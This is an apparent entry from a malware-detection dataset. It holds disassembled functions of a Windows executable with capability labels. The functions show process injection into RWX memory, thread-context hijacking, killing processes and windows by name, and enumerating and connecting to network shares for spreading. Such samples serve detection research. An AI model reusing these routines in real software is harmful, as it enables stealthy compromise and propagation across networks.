joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404d28
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
xor ebx, ebx
mov dword [0x40c68c], ebx
xor ebx, ebx
mov dword [0x40c688], ebx
mov dword [0x40c678], eax
mov dword [0x40c67c], edx
cmp dword [0x40c678], 0
je 0x404e11
mov eax, dword [0x40c678]
mov dword [ecx], eax
mov edi, dword [0x40c678]
mov ax, word [edi]
not ax
cmp ax, 0x5a4d
je 0x404e11
mov esi, dword [edi + 0x3c]
add esi, edi
push 0xf8
push esi
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
jne 0x404e11
cmp dword [esi], 0x4550
jne 0x404e11
mov eax, esi
call fcn.00404d10
test al, al
jne 0x404e11
mov ebx, esi
add ebx, 0xf8
mov ax, word [esi + 6]
cmp ax, 0x64
jae 0x404e11
movzx eax, ax
dec eax
test eax, eax
jl 0x404e11
inc eax
mov esi, eax
mov edx, 0x404e1c
mov eax, ebx
mov ecx, 8
call fcn.004045f0
test eax, eax
jne 0x404e0b
mov eax, dword [ebx + 0x14]
add eax, edi
mov dword [0x40c680], eax
mov eax, dword [0x40c680]
call fcn.00404d10
test al, al
jne 0x404e11
mov eax, dword [0x40c680]
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0xc]
mov dword [0x40c684], eax
mov eax, dword [ebp + 8]
mov edx, dword [0x40c684]
mov dword [eax], edx
jmp 0x404e11
add ebx, 0x28
dec esi
jne 0x404dc1
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x40522c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
mov dword [ebp - 4], ecx
mov esi, dword [ebp + 8]
mov dword [ebp - 8], 1
call fcn.004051a0
mov ebx, eax
mov dword [ebp - 0xc], pe_nt_image_headers32
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 8]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x40528b
mov eax, esi
lea edx, [ebp - 0x10c]
mov ecx, pe_nt_image_headers32
call fcn.00403344
push ebx
call sub.advapi32.dll_RegCloseKey_1
jmp 0x405298
mov eax, esi
call fcn.0040311c
push ebx
call sub.advapi32.dll_RegCloseKey_1
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x405b40
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x18], edx
mov esi, eax
xor eax, eax
push ebp
push 0x405d10
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, 0x406098
sub ebx, 0x406070
lea eax, [ebp - 0x18]
mov edx, esi
call fcn.00403314
mov eax, dword [ebp - 0x18]
call fcn.00405728
mov esi, eax
push esi
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov dword [0x40c6c4], eax
cmp dword [0x40c6c4], 0
je 0x405cfa
push 0x40
push 0x1000
push ebx
push 0
mov eax, dword [0x40c6c4]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [0x40c6d0], eax
push 4
push 0x1000
mov eax, dword [0x40c7a4]
call fcn.004047a0
inc eax
push eax
push 0
mov eax, dword [0x40c6c4]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [0x40c6d4], eax
cmp dword [0x40c6d4], 0
je 0x405cfa
cmp dword [0x40c6d0], 0
je 0x405cfa
push 0x405d20
call sub.kernel32.dll_GetModuleHandleA_1
mov edi, eax
push 0x405d30
call sub.kernel32.dll_GetModuleHandleA_1
mov esi, eax
push 0x405d3c
push edi
call sub.kernel32.dll_GetProcAddress
call fcn.004058fc
mov dword [ebp - 0xc], eax
push 0x405d4c
push esi
call sub.kernel32.dll_GetProcAddress
call fcn.004058fc
mov dword [ebp - 0x10], eax
mov eax, dword [0x40c6cc]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 8]
push eax
mov eax, dword [0x40c7a4]
call fcn.004047a0
inc eax
push eax
mov eax, dword [0x40c7a4]
push eax
mov eax, dword [0x40c6d4]
push eax
mov eax, dword [0x40c6c4]
push eax
call sub.kernel32.dll_WriteProcessMemory
push ebx
push 0
call sub.kernel32.dll_GlobalAlloc
mov esi, eax
test esi, esi
je 0x405cfa
mov edx, esi
mov eax, 0x406070
mov ecx, ebx
call fcn.00402598
mov edx, ebx
sub edx, 5
test edx, edx
jl 0x405cdd
inc edx
mov dword [ebp - 4], 0
mov eax, esi
add eax, dword [ebp - 4]
mov ecx, dword [eax]
cmp ecx, 0x11111111
jne 0x405ca9
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
jmp 0x405cd7
cmp ecx, 0x22222222
jne 0x405cbb
mov ecx, dword [0x40c6d4]
mov dword [eax], ecx
jmp 0x405cd7
cmp ecx, 0x33333333
jne 0x405cca
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
jmp 0x405cd7
cmp ecx, 0x44444444
jne 0x405cd7
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
inc dword [ebp - 4]
dec edx
jne 0x405c93
lea eax, [ebp - 8]
push eax
push ebx
push esi
mov eax, dword [0x40c6d0]
push eax
mov eax, dword [0x40c6c4]
push eax
call sub.kernel32.dll_WriteProcessMemory
push esi
call sub.kernel32.dll_GlobalFree
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405d17
lea eax, [ebp - 0x18]
call fcn.0040311c
ret
Function at 0x405d5c
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff34
mov esi, eax
xor ebx, ebx
push 0
push esi
call fcn.00405560
mov dword [0x40c6c0], eax
cmp dword [0x40c6c0], 0
je 0x405dfd
cmp dword [0x40c6d0], 0
je 0x405dfd
cmp dword [0x40c6d4], 0
je 0x405dfd
mov eax, dword [0x40c6c0]
push eax
call sub.kernel32.dll_SuspendThread
mov dword [esp], 0x10007
push esp
mov eax, dword [0x40c6c0]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x405de4
push esi
lea esi, [esp + 4]
mov edi, 0x40c6d8
mov ecx, 0x33
rep movsd dword es:[edi], dword [esi]
pop esi
mov eax, dword [0x40c6d0]
mov dword [esp + 0xb8], eax
mov dword [esp], 0x10007
push esp
mov eax, dword [0x40c6c0]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [0x40c6c0]
push eax
call sub.kernel32.dll_ResumeThread
push 0
push 0
push 0
push esi
call sub.user32.dll_PostThreadMessageA
mov bl, 1
mov eax, ebx
add esp, 0xcc
pop edi
pop esi
pop ebx
ret
Function at 0x4060d4
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x406317
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
mov ecx, 0x406324
mov edx, 0x406334
mov eax, 0x80000002
call fcn.0040522c
cmp dword [ebp - 8], 0
je 0x4062ec
mov edx, dword [ebp - 8]
mov eax, 0x406384
call fcn.00403644
test eax, eax
je 0x406166
lea edx, [ebp - 8]
mov ecx, 0x7fffffff
xchg edx, eax
call fcn.004035fc
lea edx, [ebp - 0x14c]
mov eax, dword [ebp - 8]
call fcn.00404664
mov edx, dword [ebp - 0x14c]
lea eax, [ebp - 8]
call fcn.004031b4
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x150]
mov ecx, 0x406390
mov edx, dword [ebp - 8]
call fcn.004033a8
mov eax, dword [ebp - 0x150]
call fcn.0040355c
push eax
call sub.kernel32.dll_FindFirstFileA
mov esi, eax
lea eax, [ebp - 4]
call fcn.0040311c
cmp esi, 0xffffffff
setne al
jmp 0x4062de
mov bl, byte [ebp - 0x11c]
cmp bl, 0x30
jb 0x4061d2
cmp bl, 0x39
jbe 0x406200
lea eax, [ebp - 0x154]
lea edx, [ebp - 0x11c]
mov ecx, 0x104
call fcn.00403344
mov eax, dword [ebp - 0x154]
mov edx, 0x4063a0
call fcn.004046e0
test eax, eax
jne 0x4062cb
push 0
push 0x80
push 3
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x15c]
lea edx, [ebp - 0x11c]
mov ecx, 0x104
call fcn.00403344
mov ecx, dword [ebp - 0x15c]
lea eax, [ebp - 0x158]
mov edx, dword [ebp - 8]
call fcn.004033a8
mov eax, dword [ebp - 0x158]
call fcn.0040355c
push eax
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
jne 0x4062c5
lea eax, [ebp - 0x160]
lea edx, [ebp - 0x11c]
mov ecx, 0x104
call fcn.00403344
mov eax, dword [ebp - 0x160]
lea edx, [ebp - 4]
call fcn.00404764
mov eax, dword [ebp - 4]
call fcn.0040661c
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x11c]
mov ecx, 0x104
call fcn.00403344
mov eax, dword [ebp - 0x164]
mov edx, 0x4063a0
call fcn.004046e0
test eax, eax
jne 0x4062cb
lea edx, [ebp - 0x168]
mov eax, 0x4063bc
call fcn.00404764
mov eax, dword [ebp - 0x168]
call fcn.0040661c
jmp 0x4062cb
push eax
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x148]
push eax
push esi
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4061c2
push esi
call sub.kernel32.dll_FindClose
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40631e
lea eax, [ebp - 0x168]
mov edx, 8
call fcn.00403140
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403140
ret
Function at 0x4063cc
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x6c], eax
xor eax, eax
push ebp
push 0x406516
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x406524
push 0x406530
call sub.user32.dll_FindWindowA
mov ebx, eax
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
push 0x40653c
push 0x406550
call sub.user32.dll_FindWindowA
mov ebx, eax
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
push 0x406560
push 0x406550
call sub.user32.dll_FindWindowA
mov ebx, eax
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
xor ebx, ebx
call sub.user32.dll_GetDesktopWindow
mov esi, eax
push 0
push 0x406574
push ebx
push esi
call sub.user32.dll_FindWindowExA
mov ebx, eax
push 7
lea eax, [ebp - 0x65]
push eax
push ebx
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 0x6c]
lea edx, [ebp - 0x65]
mov ecx, 0x65
call fcn.00403344
mov eax, dword [ebp - 0x6c]
mov edx, 0x406584
call fcn.004034a8
jne 0x40648e
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
test ebx, ebx
jne 0x406447
push 0
push 0x40658c
call sub.user32.dll_FindWindowA
mov ebx, eax
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
push 0x40659c
push 0x4065a8
call sub.user32.dll_FindWindowA
mov ebx, eax
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
mov eax, 0x4065bc
call fcn.0040661c
mov eax, 0x4065d0
call fcn.0040661c
mov eax, 0x4065e4
call fcn.0040661c
mov eax, 0x4065f8
call fcn.0040661c
mov eax, 0x406610
call fcn.0040661c
call fcn.004060d4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40651d
lea eax, [ebp - 0x6c]
call fcn.0040311c
ret

Function at 0x40661c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec8
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040354c
lea esi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x406732
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, 0xf
call fcn.00405438
mov ebx, eax
mov edx, esi
mov eax, ebx
call fcn.00405458
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x4066fe
lea eax, [ebp - 0x134]
lea edx, [esi + 0x24]
mov ecx, 0x104
call fcn.00403344
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00404718
mov eax, dword [ebp - 0x130]
mov edx, dword [ebp - 4]
call fcn.004046e0
test eax, eax
je 0x4066d7
lea eax, [ebp - 0x138]
lea edx, [esi + 0x24]
mov ecx, 0x104
call fcn.00403344
mov eax, dword [ebp - 0x138]
mov edx, dword [ebp - 4]
call fcn.004046e0
test eax, eax
jne 0x4066ef
mov eax, dword [esi + 8]
push eax
push 0xffffffffffffffff
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
push 0
push eax
call sub.kernel32.dll_TerminateProcess
mov edx, esi
mov eax, ebx
call fcn.00405478
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x40667c
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406739
lea eax, [ebp - 0x138]
mov edx, 3
call fcn.00403140
lea eax, [ebp - 4]
call fcn.0040311c
ret
Function at 0x4068d8
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
xor eax, eax
push ebp
push 0x406a8a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x406a98
call fcn.00403314
cmp dword [ebp - 4], 0
je 0x406a62
cmp byte [0x419008], 0
je 0x40692f
lea eax, [ebp - 0x18]
call fcn.00406888
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0x10]
mov ecx, 0x407814
call fcn.004033a8
jmp 0x406947
lea eax, [ebp - 0x1c]
call fcn.00406838
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 0x10]
mov ecx, 0x407824
call fcn.004033a8
mov eax, dword [ebp - 0x10]
call fcn.0040495c
test al, al
je 0x406a62
mov edx, 2
mov eax, dword [ebp - 0x10]
call fcn.0040496c
mov esi, eax
cmp esi, 0xffffffff
je 0x406a62
push 0
push esi
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 0x14]
call fcn.0040368c
mov eax, dword [ebp - 0xc]
call fcn.0040355c
mov edx, eax
mov ecx, dword [ebp - 0x14]
mov eax, esi
call fcn.00404610
mov edx, dword [ebp - 4]
mov eax, 0x407840
call fcn.00403644
mov ebx, eax
test ebx, ebx
jne 0x4069bb
mov eax, dword [ebp - 4]
call fcn.0040335c
mov ebx, eax
test ebx, ebx
je 0x4069bb
inc ebx
test ebx, ebx
je 0x406a5c
lea eax, [ebp - 0x20]
push eax
mov ecx, ebx
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.004035bc
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 8]
call fcn.004048a4
lea ecx, [ebx + 1]
lea eax, [ebp - 4]
mov edx, 1
call fcn.004035fc
cmp dword [ebp - 8], 0
je 0x406a32
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
call fcn.00403644
test eax, eax
jne 0x406a32
lea eax, [ebp - 8]
mov edx, 0x407840
call fcn.00403364
push 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
call fcn.0040335c
push eax
mov eax, dword [ebp - 8]
call fcn.0040355c
push eax
push esi
call sub.kernel32.dll_WriteFile_1
mov edx, dword [ebp - 4]
mov eax, 0x407840
call fcn.00403644
mov ebx, eax
test ebx, ebx
jne 0x406a54
mov eax, dword [ebp - 4]
call fcn.0040335c
mov ebx, eax
test ebx, ebx
je 0x406a54
inc ebx
test ebx, ebx
jne 0x4069c3
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406a91
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.00403140
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00403140
ret
Function at 0x407844
Capabilities:
Create process on windows
Create thread
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], edx
mov ebx, eax
mov edi, 0x40c7fc
xor eax, eax
push ebp
push 0x4079c1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x40b150]
mov eax, dword [eax + 8]
mov dword [edi], eax
mov edx, 0x40c7e4
xor eax, eax
call fcn.004026c4
mov eax, 0x100000
call fcn.00402494
mov dword [0x40c7e8], eax
cmp dword [edi], 0x100000
jg 0x4079a6
lea edx, [ebp - 0x10]
xor eax, eax
call fcn.004026c4
mov eax, dword [ebp - 0x10]
mov edx, 0x40
call fcn.0040496c
mov esi, eax
cmp esi, 0xffffffff
je 0x4079a6
mov eax, dword [edi]
call fcn.00402494
mov dword [0x40c7ec], eax
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [edi]
push eax
mov eax, dword [0x40c7ec]
push eax
push esi
call sub.kernel32.dll_ReadFile
push esi
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0xc]
cmp eax, dword [edi]
jne 0x4079a6
push 0x40c7f4
mov ecx, 0x40c7f0
mov edx, dword [edi]
mov eax, dword [0x40c7ec]
call fcn.004050b4
test al, al
je 0x4079a6
call fcn.00407c34
call fcn.00409ed4
test al, al
jne 0x4079a6
call fcn.004068d8
test bl, bl
je 0x407943
call fcn.004063cc
push 0
push 0x4079d0
call sub.kernel32.dll_WinExec
push 0x1f40
call sub.kernel32.dll_Sleep
mov ecx, 0x4079f8
mov edx, 0x407a00
mov eax, 0x80000002
call fcn.004051f4
test al, al
jne 0x407971
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x40a0b4
push 0
push 0
call sub.kernel32.dll_CreateThread
test bl, bl
je 0x40798b
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40a214
push 0
push 0
call sub.kernel32.dll_CreateThread
call fcn.00408108
lea eax, [ebp - 0x14]
call fcn.00409338
mov eax, dword [ebp - 0x14]
mov edx, dword [0x40c7e4]
call fcn.00408f08
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4079c8
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00403140
ret
Function at 0x407a48
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040354c
lea edi, [ebp - 0x2c]
xor eax, eax
push ebp
push 0x407b73
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
xor eax, eax
push ebp
push 0x407b38
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
mov ecx, dword [ebp - 4]
mov edx, 0x407b8c
call fcn.004033a8
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0xc]
call fcn.004091b8
mov eax, dword [ebp - 0xc]
call fcn.00403c24
mov esi, eax
test esi, esi
jl 0x407b2e
inc esi
xor ebx, ebx
xor eax, eax
mov dword [edi + 4], eax
xor eax, eax
mov dword [edi + 0x10], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + ebx*4]
call fcn.0040355c
mov dword [edi + 0x14], eax
xor eax, eax
mov dword [edi + 0x1c], eax
push 0
push 0
push 0x407b90
push edi
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
je 0x407af6
push 0
push 0
push 0
push edi
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
jne 0x407b2a
mov byte [ebp - 5], 1
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + ebx*4]
lea eax, [ebp - 0x34]
mov ecx, 0x407b9c
call fcn.004033a8
mov eax, dword [ebp - 0x34]
xor edx, edx
call fcn.004096a8
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + ebx*4]
call fcn.0040355c
push eax
call sub.mpr.dll_WNetCancelConnectionA
inc ebx
dec esi
jne 0x407ab6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x407b42
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407b7a
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.00403140
lea eax, [ebp - 0xc]
mov edx, dword [0x407a24]
call fcn.00403de4
lea eax, [ebp - 4]
call fcn.0040311c
ret

Function at 0x407ba0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040354c
xor eax, eax
push ebp
push 0x407c25
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x48]
mov edx, 0x44
call fcn.0040454c
mov dword [ebp - 0x48], 0x44
mov word [ebp - 0x18], 1
test ebx, ebx
jne 0x407be3
lea ebx, [ebp - 0x58]
push ebx
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0x4000000
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040355c
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb eax, eax
inc eax
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407c2c
lea eax, [ebp - 4]
call fcn.0040311c
ret
Function at 0x4084b4
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffe2c
mov dword [esp], eax
mov edi, 0x40c7dc
lea eax, [esp + 0x44]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [esp]
call fcn.0040311c
push 0x40
lea eax, [esp + 8]
push eax
call sub.wsock32.dll_gethostname
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x40854e
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x408542
test ebx, ebx
jne 0x408512
push dword [ebp]
call sub.wsock32.dll_inet_ntoa
mov edx, dword [esp]
call fcn.004047b8
mov eax, dword [edi]
call fcn.00403c1c
inc eax
push eax
mov eax, edi
mov ecx, 1
mov edx, dword [0x406814]
call fcn.00403dd8
add esp, 4
mov eax, dword [edi]
call fcn.00403c24
mov edx, dword [edi]
mov ecx, dword [esi + ebx*4]
mov ecx, dword [ecx]
mov dword [edx + eax*4], ecx
inc ebx
mov ebp, dword [esi + ebx*4]
test ebp, ebp
jne 0x4084fe
call sub.wsock32.dll_WSACleanup
add esp, 0x1d4
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x408c4c
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040354c
xor eax, eax
push ebp
push 0x408ce9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x19c]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [ebp - 0xc]
call fcn.0040311c
mov eax, dword [ebp - 4]
call fcn.0040355c
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x408cd3
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x408cc7
test ebx, ebx
jne 0x408cc6
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, dword [ebp - 0xc]
call fcn.004047b8
mov eax, dword [esi + ebx*4]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
mov dword [edx], eax
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x408ca9
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408cf0
lea eax, [ebp - 4]
call fcn.0040311c
ret
Function at 0x408cf8
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040354c
mov eax, dword [ebp - 8]
call fcn.0040354c
xor eax, eax
push ebp
push 0x408ed2
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x20
call fcn.00402794
mov eax, dword [ebp - 4]
call fcn.0040355c
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x3c], 2
mov dword [ebp - 0x48], 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x48]
push eax
push 2
push 1
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x408eaa
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x18], 0x2000
mov eax, dword [ebp - 0x18]
call fcn.00402494
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetEnumResourceA
cmp eax, 0x103
je 0x408e91
cmp eax, 0xea
jne 0x408de8
mov dword [ebp - 0x14], 0xffffffff
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 0x18]
call fcn.004024d4
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
jne 0x408eaa
mov esi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
dec eax
test eax, eax
jl 0x408d81
inc eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x4c]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.00403314
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 8]
call fcn.004034a8
je 0x408e80
mov byte [ebp - 0x21], 0
mov eax, dword [0x40c7e0]
call fcn.00403c24
mov ebx, eax
test ebx, ebx
jl 0x408e64
inc ebx
xor edi, edi
lea eax, [ebp - 0x54]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.00403314
mov eax, dword [ebp - 0x54]
lea ecx, [ebp - 0x50]
lea edx, [ebp - 0x20]
call fcn.00408c4c
mov eax, dword [0x40c7e0]
mov eax, dword [eax + edi*4]
cmp eax, dword [ebp - 0x20]
jne 0x408e60
mov byte [ebp - 0x21], 1
jmp 0x408e64
inc edi
dec ebx
jne 0x408e31
cmp byte [ebp - 0x21], 0
jne 0x408e80
lea eax, [ebp - 0x58]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.00403314
mov eax, dword [ebp - 0x58]
call fcn.00407a48
add esi, 0x20
dec dword [ebp - 0x28]
jne 0x408dff
jmp 0x408d81
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
jne 0x408eaa
mov byte [ebp - 9], 1
mov eax, dword [ebp - 0x10]
call fcn.004024b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408ed9
lea eax, [ebp - 0x58]
mov edx, 4
call fcn.00403140
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403140
ret